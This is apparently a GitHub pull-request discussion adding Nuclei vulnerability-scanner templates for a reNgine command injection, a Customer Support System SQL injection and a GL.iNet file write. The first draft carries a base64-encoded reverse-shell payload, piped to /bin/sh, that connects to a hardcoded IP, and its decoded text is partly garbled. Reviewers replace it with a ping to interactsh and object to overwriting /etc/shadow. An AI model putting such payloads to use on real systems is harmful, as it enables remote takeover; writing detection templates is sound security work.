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Added template for CVE-2023-46455, CVE-2023-50094, CVE-2023-50071 #11144

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@Zierax Zierax commented Nov 5, 2024

Template / PR Information

This template checks for a command injection vulnerability in reNgine v2.2.0, where an authenticated user can manipulate parameters in the scan engine configuration to execute arbitrary system commands.

  • Added CVE: None available currently (Exploit Title: "reNgine 2.2.0 - Command Injection (Authenticated)")
  • References:

Template Validation

I've validated this template locally?

  • NO

Additional Details

  • Google Query: intitle:"reNgine"
  • Vulnerable parameters: nmap_cmd

Additional References:


Template / PR Information

This template tests for SQL injection vulnerabilities in the Customer Support System v1.0, allowing an authenticated user to execute arbitrary SQL commands by injecting malicious payloads into specific parameters.

Template Validation

I've validated this template locally?

  • YES

Additional Details

  • Google Query: inurl:"customer_support/index.php"
  • Affected Parameters: department_id, customer_id, subject
  • Request Payload: POST /customer_support/ajax.php?action=save_ticket

Additional References:


Template / PR Information

This template checks for an arbitrary file write vulnerability in GL.iNet devices (<= 4.3.7). An attacker can overwrite system files, including the shadow file, allowing modification of root access credentials.

Template Validation

I've validated this template locally?

  • YES

Additional Details

  • Google Query: intitle:"GL.iNet Admin Panel"
  • Affected Version: GL.iNet devices with firmware <= 4.3.7
  • Exploit URL: /upload
  • File Path Traversal to /etc/shadow

Additional References:

Template Explanation:
Info Section: Contains metadata about the exploit, including the name, author, severity, tags, description, and references.
Requests Section:
The first request simulates logging into the platform.
The second request checks the status of the scan engine page.
The third request modifies the scan engine configuration to include the command injection payload.
Matchers: Used to verify successful login and other operations.
path:
- "{{BaseURL}}/scan-engine/update" # Adjust the endpoint for modifying scan engines
body: |
nmap_cmd: 'echo "cHl0aG9uMyAtYyAnaW1wb3J0IHNvY2tldCxvcyxwdHk7cz1zb2NrZXQuc29ja2V0KHNvY2V0LkFfSU5FVCxzLmNvbm5lY3QoIiMTAuMjQ0LjE1MC42OSIsNjE2MTIpKTtvcy5kdXAyKHMuZmlsZW5vKCksMCk7b3MuZHVwMihzLmZpbGVubygpLDEpO29zLmR1cDIocy5maWxlbm8oKSwyKTtwdHkuc3Bhd24oIi9iaW4vc2giKScg"|base64 --decode |/bin/sh # Modify this as needed for proper syntax

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Is this invalid base64?

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no this is a valid base 64 and this is the original code
python3 -c 'import socket,os,pty;s=socket.socket(socet.A_INET,s.connect("#��#CB�S�c"c�c�"2GW�"2fV�2GW�"2fV�2GW�"2fV"�G7��v"&6"r

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What does it do? It's not valid python, and I don't see why you'd want to connect to a socket? It seems awfully like a reverse shell. Am I missing something? 😓

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Getting a pingback to the interactsh-url is enough.

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okay here is the update for ping interactsh-url only
but what is the variable should I add in the encoded code for ping interactsh-url ?

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should I push now

path:
  - "{{BaseURL}}/scan-engine/update"  # Adjust the endpoint for modifying scan engines
body: |
  nmap_cmd: 'echo "cGluZyAiJHt7aW50ZXJhY3RzaC11cmx9fSI=" | base64 --decode | /bin/sh'  # Sends ping to {{interactsh-url}} 

decoded version
path:

  • "{{BaseURL}}/scan-engine/update" # Adjust the endpoint for modifying scan engines
    body: |
    nmap_cmd: 'echo "ping "${{interactsh-url}}"" | base64 --decode | /bin/sh' # Sends ping to {{interactsh-url}}

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hi ??

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#######EDIT_TO_MAKE_THE_TEMPLATE_PING_INTERACTSH#######

path:

  • "{{BaseURL}}/scan-engine/update" # Adjust the endpoint for modifying scan engines
    body: |
    nmap_cmd: 'echo "cGluZyAiJHt7aW50ZXJhY3RzaC11cmx9fSI=" | base64 --decode | /bin/sh' # Sends ping to {{interactsh-url}}

#######EDIT_TO_MAKE_THE_TEMPLATE_PING_INTERACTSH#######

@mastercho
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Interesting, never saw reNgine had vuln before, about GL.iNet don't you think this payload is dangerous to run on prod?

@Zierax
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Zierax commented Nov 6, 2024

This CVE was first exposed on 2024-09-29, so it's understandable if this is the first time you've heard about this vulnerability.

Reference

I haven’t publicly disclosed the vulnerability details yet. However, since there were no existing Nuclei templates for this vulnerability, I created one myself.

I'm also planning to compile a comprehensive list of unknown vulnerabilities and publish it.

@Zierax
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Zierax commented Nov 7, 2024

I am waiting for the accept :)

@ehsandeep ehsandeep changed the title added reNgine 2.2.0 - Add Command Injection Template | Customer Support System 1.0 - Add Multiple SQL Injection Template | GL.iNet <= 4.3.7 - Add Arbitrary File Write Template Added template for CVE-2023-46455, CVE-2023-50094, CVE-2023-50071 Nov 13, 2024
@Zierax Zierax closed this Nov 14, 2024
@Zierax Zierax reopened this Nov 14, 2024
@Zierax
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Zierax commented Nov 14, 2024

first time to know those has CVEs
can you rename the templates?

@ritikchaddha
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Hi @Zierax, I've removed the customer-support-system-sql-injection template. At this time, we are not accepting/adding templates for those that are less widely used php projects. Thank you for your understanding!

@ritikchaddha
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ritikchaddha commented Nov 20, 2024

It is crucial to avoid overwriting sensitive files like /etc/shadow or /etc/etcin template gl-inet-arbitrary-file-write. Instead, please consider updating the template or add another file.

Additionally, don’t forget to update both templates with the POC reference and CVE id for clarity.

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5 participants